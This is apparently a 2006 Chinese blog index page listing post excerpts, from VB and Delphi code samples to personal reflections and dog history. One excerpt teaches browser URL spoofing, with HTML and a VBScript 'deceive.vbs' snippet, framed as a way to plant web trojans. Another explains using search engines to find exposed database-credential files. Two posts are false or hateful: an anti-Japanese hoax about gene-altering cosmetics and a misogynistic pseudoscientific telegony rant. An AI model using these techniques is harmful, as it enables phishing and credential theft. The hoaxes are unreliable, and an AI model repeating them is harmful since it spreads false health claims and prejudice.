博文
音效档播放程式(2006-02-15 22:02:00)
摘要：所需物件：PictureBox(1),Label(6),CommandButton(2),CommonDialog(1),MMControl(1)。Const INTERVAL = 1000Dim CurVal As DoublePrivate Sub CmdEnd_Click()MMControl1.Command = "stop"MMControl1.Command = "close"EndEnd SubPrivate Sub CmdOpen_Click()MMControl1.Command = "stop"MMControl1.Command = "close"Close #1On Error GoTo errhandlerCMDlg.Filter = "音效档(*.wav;*.mid) |*.wav;*.mid"CMDlg.FilterIndex = 1CMDlg.Action = 1Open CMDlg.filename For Input As #1If Right$(CMDlg.filename, 3) = "wav" ThenMMControl1.DeviceType = "waveaudio"ElseMMControl1.DeviceType = "sequencer"End IfMMControl1.filename = CMDlg.filenameMMControl1.Command = "open"CurVal = 0#MMControl1.UpdateInterval = 0errhandler:Exit SubEnd SubPrivate Sub Form_Load()Label1.Caption = "音效档名："Label2.Caption = "总共时间："Label3.Caption = "目前位置："MMControl1.UpdateInterval = 0End SubPrivate Sub Form_Unload(Cancel As Integer)Const MCI_MODE_NOT_OPEN = 524If Not MMControl1.Mode = MCI_MODE_NOT_OPEN ThenMMControl1.Command = "close"End IfEnd SubPrivate Sub MMControl1......
按字母或数字顺序排列列表框中的列表项.(2006-02-06 17:16:00)
摘要：将以下代码加入到你的程序中.Sub ReSort(L As Control)Dim P%, PP%, C%, Pre$, S$, V&, NewPos%, CheckIt%Dim TempL$, TempItemData&, S1$For P = 0 To L.ListCount - 1S = L.List(P)For C = 1 To Len(S)V = Val(Mid$(S, C))If V > 0 Then Exit ForNextIf V > 0 ThenIf C > 1 Then Pre = Left$(S, C - 1)NewPos = -1For PP = P + 1 To L.ListCount - 1CheckIt = FalseS1 = L.List(PP)If Pre <> "" ThenIf InStr(S1, Pre) = 1 Then CheckIt = TrueElseIf Val(S1) > 0 Then CheckIt = TrueEnd IfIf CheckIt ThenIf Val(Mid$(S1, C)) < V Then NewPos = PPElseExit ForEnd IfNextIf NewPos > -1 ThenTempL = L.List(P)TempItemData = L.ItemData(P)L.RemoveItem (P)L.AddItem TempL, NewPosL.ItemData(L.NewIndex) = TempItemDataP = P - 1End IfEnd IfNextExit Sub......
岁末个人盘点(2006-02-06 16:45:00)
摘要：
年轻女生的个人盘点
这篇盘点有着年轻人特有的青春活力，正如她在博客里所写的那样——忘记不开心的，追寻让人开心的。因为年轻，所以自信。06年会更加努力。
工作05年找到了一个满意的工作,现在仍然继续努力虽然暂时没有干出什么成就,不过我会努力的工资还是没涨,不过老总对我说,他对我的工作很满意其实的领导也是一样,副总说要给我加工资了加不加工资无所谓,只要我的努力没有白费就是最好的学习参加了高等教育自学考试,失足了,心里很不是滋味不过,是因为我根本就没有努力,没有看书也没有什么可抱怨的,继续努力由于最近心情不好,调整一下心态,准备参加四月份的考试亲情因为工作没有空闲的时间,所以回家的时间就少了不过,平均一个月可以回家一次,只为在家能睡一个晚上回来跑真的很累,不过我挺喜欢的,我知道父母看到我后会更高兴因为他们想我这个女儿呀友情工作之后,接触最多的就是同事了,和我年纪差不多的,处的还可以其余的就是父母那辈的长辈了,工作的问题当然要问他们了毕竟吃的盐要比我走的路多之前的那些朋友,虽然都离的很远,但是感情没有淡化最让我意外的,就是在网络里认识了好多朋友,很高兴虽然网络是虚伪的,但虚伪的背后是真实的我,所以我会真诚的对待我的每位朋友爱情最后谈谈爱情吧嗯,一年来感情不算顺利,选来选去选了个我爱的人到最后还是以分手告终不过,没关系,我还年轻嘛,有更好的在后面呢也许我还真的小,不懂感情,我准备把我的精力都放在工作和学习上感情的事嘛,以后在说吧05年大概就是这些了吧,忘记不开心的,追寻让人开心的因为年轻,所以自信06年我会更加努力
游戏男生的个人盘点
一个被满场“Sky加油、China加油”的欢呼声所感动的热泪盈眶的男生；一个感谢在WEG2005的赛场上wNv拿到了中国男子CS的第一个世界冠军的男生；一个相信着未来的男生。 我的2005在感动中渡过。
很多的第一次都发生在这一岁，其中有过欢笑、有过癫狂、也有过低沉、有过迷惘。无论成功或是失败，都将成为人生的一笔巨大财富，它使我看到了前途，它使我看到了希望。
第一次项......
中国历朝历代关于狗的美丽传说(图)(2006-01-31 13:48:00)
摘要： 作为人类最早驯化的家畜，狗的存在和进化都与人类文明的发展有着千丝万缕的联系。对于它，人们不仅用精美的艺术作品加以歌颂，而且还视其为最忠实的守护神，更是十二生肖中的重要一员……
作为十二生肖中的一员，狗在中国人的心目中始终有着很高的地位。这一点从中国不断出土的考古发现中可见一斑。 人类史上最亲密的伙伴
四年前，考古工作者在河南洛阳市中心城区发现了举世震惊的东周天子驾六车马坑。它的发掘解决了自汉代以来关于夏商周三代“天子驾六马”还是“天子驾四马”的争论，说明至少在东周时期“天子驾六马”是存在的。不过，车马坑里最引人注目的还是其中7只殉葬狩猎犬的伤感故事。
让我们回到东周时期，那时的贵族们喜欢驾马驱车去狩猎，狗则是必不可少的伙伴。这个车马坑的主人是东周25位天子中的一个，他生前酷爱狩猎游玩。发掘时人们发现，这个车马坑中有7只狗，其中6只出现在最北面的马车车轮下。专家们分析，这些狗是被绑缚在车上活埋的。填土时，惊恐万状的小狗们纷纷躲藏在车轮下，结果当车兜压塌后，那6只小狗也都被压死在车兜里。而只有一只小狗的位置十分奇特，它出现在马坑的半中腰，伴随它的是一块卵石。也就是说，这只小狗当时挣脱了绳索向坑外爬，就在距离逃生仅一步之遥时，被人发现了，一块卵石击中头部，中断了小狗的逃生，也结束了它的生命。厚厚的黄土掩埋了这一切，托举着这个小生命悬停在马坑的边缘。
看着这个颇令宠物爱好者心酸的场景，我的心里也像打翻了五味瓶。这些小狗虽不是宠物，而是主人的狩猎犬，曾伴随在主人的车前马后，叱咤风云，扬威猎场，没有功劳也有苦劳，怎么到最后却成了殉葬品？也许对于当时的人们来说，让心爱的猎犬为自己殉葬，就是给爱犬最高的荣誉了。
其实，狗是人类最早驯养的动物之一，这一点毋庸置疑。它被驯化的年代大约在一万年前的新石器时期。在西安半坡文化遗址的先民生活区中，曾发现为数众多的狗的骨殖。此外，甘肃秦安大地湾新石器文化遗址出土的彩陶壶上，也发现了4只家犬的形象，而且都描绘得生动可爱。这都说明，当时人与狗之间的关系相当明确，狗已经成为人类的亲密伙伴。
在中国，从新石器时代的遗址中，已不断有关于狗的发现。例如在距今7000～6500年前的浙江余姚县河姆渡遗址，发现有狗的骨架；在河北省武安县距今7000年前的磁山遗址，发现有狗头骨的前半部和下颌骨，从其构造上来看，无疑......
黑客新技术 域名欺骗技术实现过程(2006-01-14 20:12:00)
摘要：网页木马种植方案一直都存在很大的问题，当然欺骗需要技巧也需要时间，我们现在不需要那么麻烦的欺骗，本文就是教大家利用最新浏览器漏洞实现域名的欺骗..... 前言 域名欺骗有多种实现方法，本文所说的是利用客户端浏览器的漏洞来欺骗用户。 多数浏览器都会存在这个漏洞，目前暂时还没相应的补丁。漏洞是这样的： 当用户通过浏览器访问一个url,如果这个url是经过以下的格式构造的，那么浏览器实际将访问经过构造的恶意页面,而用户浏览器的地址栏里所显示的将是虚假的url： url的构造格式为： 说明： url_1为用户所看到的地址，地址中不可以带"/" special_char为一个特殊的字符，即ascii码为1的字符 url_2为恶意页面地址 利用过程 首先请看这个测试页面： ＜html＞＜head＞＜title＞域名欺骗技术实例＜/title＞＜/head＞＜body link="#0000ff" alink="#0000ff" vlink="#0000ff"＞你可以看看这两个链接有什么区别:＜br＞＜h1＞链接1:＜script language="vbscript" src="deceive.vbs"＞＜/script＞＜/h1＞＜h1＞链接2:＜a href="_blank ?＞www.163.com" target="_blank"＞http://www.163.com/"; target="_blank" http://ww ... ";＞www.163.com＜/a＞＜/h1＞＜/body＞＜/html＞
这个网页源代码，其中链接1指向了一个vbs脚本，而链接2指向的是163站点。如果我们把连接一的vbs脚本改成下列代码: ''''''''''''''''''''''''''''''''''''''deceive.vbs''''''''''''''''''''''''''''''''''''''''''''' '（以下请根据实际情况自行修改：） url1="http://www.163.com/" url2="http://www.google.com/" text="http://www.163.com/" url="_blank ?＞http://";&url1&chr(1)& ... p;url2&"" dn="/" mous......
日本的惊人秘密 ！是中国人就看！！(2006-01-14 19:55:00)
摘要：1、我们是洛.阳.解.放.军150医院和8410生.物.研.究.所的成员，告诉大家一个非常不好的消息，根据我们近3年的研究，发现.日.本.利用.基.因.技.术.以.知.名.化.妆.品和食.品为主要的媒体来改.变.我.们.中.国.人.的.基.因！ 中国人普遍文化程度不高，买东西以价格的高低来判断东西好坏，于是不但一直被日.本.人.当作活.生.生.的.试.验.品，还让日.本.人赚.足.了.钱。比如有一个.广.告.里经常看到的SK-II, 小小一支卖价.人.民.币.2千3千的，中.国.女.人.拿它当宝贝，工资刚发下来就快马加鞭.奔.向.商.店，把辛苦一个月的血汗钱送到了.日.本.人.的手里。自己收入少一点的，就让老公平时省吃俭用多.赚.钱，然后在过生日之类的日子逼着老公给她买，好象怕.日.本.人.穷，日子过不下去了似的。但是SK-II在德国、瑞士等许多欧盟国家及美国是不.许.销.售的，因为他们发现在SK-II里含.有.能.损.害.人.体.本.身.基.因.的.剧.毒.成.分。 在我们经过近3年的详细.研.究.中发现了这种极.难.察.觉的基.因.病.毒.成.分，能使我们下一代和下下一代的身体免疫力不断的衰弱，使我们的后代抗疾病的能力变得非常的差。目前我们的.生.化.武.器的研究能力还比不上.日.本，因为日本的731和类似部队很早就拿大量的.活.人.作.病.毒.试.验.了，这些活人就是.中.国.老.百.姓。所以我们希望.同.胞.们.一定要注意自身的.防.范，千万不要使用.日.本.化.妆.品.和.食.品.还有.药.品，我们的研究报告已经上报中央上级部门了，相信过不了多久就会有措施出台。 中.国.和.日.本.难.免.一.战.的! 谁还.买.日.货.就.是.在.自.杀! 日.本.在中.国.的南.方，一直在不.停.的.部.署，就是随时准备做好跟.中.国.打.杖.的.准.备。所以日.本.人，在这个事当中，全国都基于这种共识，所以不光日.本.国.防.部.有这个想法，这个没有什么稀奇，整个日.本.全.国.具备这种想法。为什么？我讲两个道理你听听看，他们是否全.国.皆.兵。中国大陆一个.河.北.的石.家.庄，一个.山.西.的.太.原跟.大.同.是.产.煤.的.地.方，你认为最大的.买.主.是谁？.日.本。其实.日.本.这.个.国.家.不.烧.煤.的，你有没有注意到，为......
利用搜索引擎查找漏洞（申请+精）(2006-01-14 19:41:00)
摘要：一个老问题，另一个查找漏洞的途径，抛砖引玉吧，如果你能发现相关的东西，希望也能帖出来与大家分享。 [数据库敏感信息文件] 在PHP中，include()和require()主要是为了支持代码库，因为我们一般是把一些经常使用的函数放到一个独立的文件中，这个独立的文件就是代码库，当需要使用其中的函数时，我们只要把这个代码库包含到当前的文件中就可以了。 最初，人们开发和发布PHP程序的时候，为了区别代码库和主程序代码，一般是为代码库文件设置一个“.inc”的扩展名，但是他们很快发现这是一个错误，因为这样的文件无法被PHP解释器正确解析为PHP代码。如果我们直接请求服务器上的这种文件时，我们就会得到该文件的源代码，PHP解释器是根据文件的扩展名来决定是否解析为PHP代码的。扩展名是站点管理员指定的，一般是“.php”， “.php3”和“.phtml”。如果重要的配置数据被包含在没有合适的扩展名的PHP文件中，那么远程攻击者很容易得到这些信息。 有些人往往都把数据库的连接信息单独放到一个文件中，文件命名为connect.inc/config.inc/db_connect.inc等等吧，有很多网站就曾经这样, sohu.com/塞迪网(www.ccidnet.com)/中关村在线(zol.com.cn)/电脑之家(pchome.net)等等，很多很多呀. [查找这个文件] 这个包含数据库信息的文件一般要放到inc/include等等一类的目录下，作为一名管理员OR程序员当然不希望这被一个攻击者看到，于是修改为一个难以猜到的目录名或者文件名，以防止被别人很容易猜到。但是程序员要让自己的代码有可读性一般都使用几个常见的名字去命名，这样的话，可以写一个穷举的程序去进行“破解”，没准就能碰上几个。这是最笨的方法了，现在来说一般成功率是很小的，特别相对于大的站点来说。我曾经随便试过几个，没有1次成功 所以我介绍一种使用搜索引擎来查找这个文件的方法，来快速查找这个文件。在介绍搜索引擎的使用之前，先介绍以下一个问题： PHP在运行出错的情况下一般都会出现错误的提示，这个错误提示会提供相关的信息，这个提示的相关信息很可能就会让攻击者有机可乘。比如访问http://host/index.php出现如下错误： MySQL Connection Failed: in /home/http/htdo......
小巧的服务程序源码(2006-01-14 19:31:00)
摘要：小巧的服务程序源码 --------------------------------------------------------------------------------上段时间因要写服务程，但发现程序比较大，不包含窗口类的情况下都要120K以上！ 实在是太大了！ svchost.exe服务程序的大小才 7.76 KB，我想服务程序可以写的很小！ 我在网上找找了好长时间终于给我找到精简的服务程序的DELPHI代码(好的DELPHI代码实在是少啊)， 我把源代码放上来和大家分享！ program DemoSrv; // Windows NT Service Demo Program for Delphi 3 // By Tom Lee , Taiwan , Repubilc of China ( Tomm.bbs@csie.nctu.edu.tw ) // JUL 8 1997 // ver 1.01 // The service will beep every 10 second . uses SysUtils, Windows, WinSvc; const ServiceName = 'TomDemoService'; ServiceDisplayName = 'd99 test Service'; SERVICE_WIN32_OWN_PROCESS = $00000010; SERVICE_DEMAND_START = $00000003; SERVICE_ERROR_NORMAL = $00000001; EVENTLOG_ERROR_TYPE = $0001; // declare global variable var ServiceStatusHandle: SERVICE_STATUS_HANDLE; ssStatus: TServiceStatus; dwErr: DWORD; ServiceTableEntry: array[0..1] of TServiceTableEntry; hServerStopEvent: THandle; // Get error message function GetLastErrorText: string; var dwSize: DWORD; lpszTemp: LPSTR; begin dwSiz......
男人要处女做老婆是有科学根据的！ (2006-01-14 19:17:00)
摘要： 如果老婆曾经被人睡过，还居然当作什么事都没发生过，这还是男人吗？即使是结婚了，生出来的孩子都肯定不是自己正宗的，老婆的子宫已经被其他人的精子污染了。科学依据如下： 在女人和男人交媾的那些日子里，男人的亿万个精子进入了她的体内，精子进入女性体内后，除一部分流出外，其他都发生了自溶。在它们自溶时，会释放出一种遗传物质“核蛋白体”，被女性生殖器官的内腺所吸收，与此同时，精液中还含有多种性激素，这些性激素也被女性吸收。被吸收的精子和性激素中的遗传物质——脱氧核糖核酸（ＤＮＡ），能使母体性细胞产生遗传变异而被同化，进而引起后次卵细胞也随之变化，因此而产生“无距离遗传”的效果，所以如果和有过性经历的女人结婚，便会出现儿子为什么像其他人的缘故，这种现象虽不普遍，却客观地存在着。 如果娶不到处女，就应该坚持原则，宁可通过嫖娼也不愿受到屈辱，这种屈辱是真正的男人所不会接受的。 科学依据二：大家一定看过《勇敢的心》（BRAVEHEART），这部5项OSCAR奖电影，其中英国爱德华一世为了消灭苏格兰人，颁布了一条法令，英国贵族可以剥夺苏格兰人的初夜权，也就是苏格兰人结婚后，女人第一天要送给英国贵族睡！ 大家明白了吧？！以下摘录一篇科学文献： 为什么男人不要非处？首先心理上受不了： 一、非处有好多种，有的非处可能在结婚前不知道睡过多少男人了，有的却只有过一、二次。第一种也就不要去说她了，标准的烂货。如果只有一两次的话说明她对这事还是比较看重的，确实是为爱而做，那你可就更要当心了，你就等着一辈子生活在那个男人的阴影中吧，在她心中你永远也比不上她第一个男人，哪怕那人是个流氓。不信你看看 各大论坛上面有哪个非处骂过破了她们的身子却没负责任的男人，在她们心中恐怕那个坏男人才是她们永远的挚爱吧？ 这正是某些偏激的网友说宁要鸡也不要非处的原因了。而并不是为了那层什么膜，明白了吗？ 如果女人真的能够彻底忘掉那个对她们来说石破天开的男人的话，那我想非处也未尝不可要。 但你自己看看各论坛上非处们的言论吧，有哪个这么说过呢？你说在这种情况下要我们男人娶非处不是要我们睁着眼睛吞苍蝇吗？ 二、当你和妻子做爱时突然想起她以前也被另外一个男人压在身下呻吟，而她自己恐怕也正在这么......
高学历的男人不代表成功的男人 (2006-01-14 19:08:00)
摘要：男人怎样才算成功? 答案很简单: 有自己的事业和不菲的收入.
高学历的男人就一定是成功的男人吗? 不是!
事实的情况是, 相当多获得成功的男人学历并不高, 但是他们身上有者优秀的素质.
高学历的男人很多, 但成功的男人很少.
......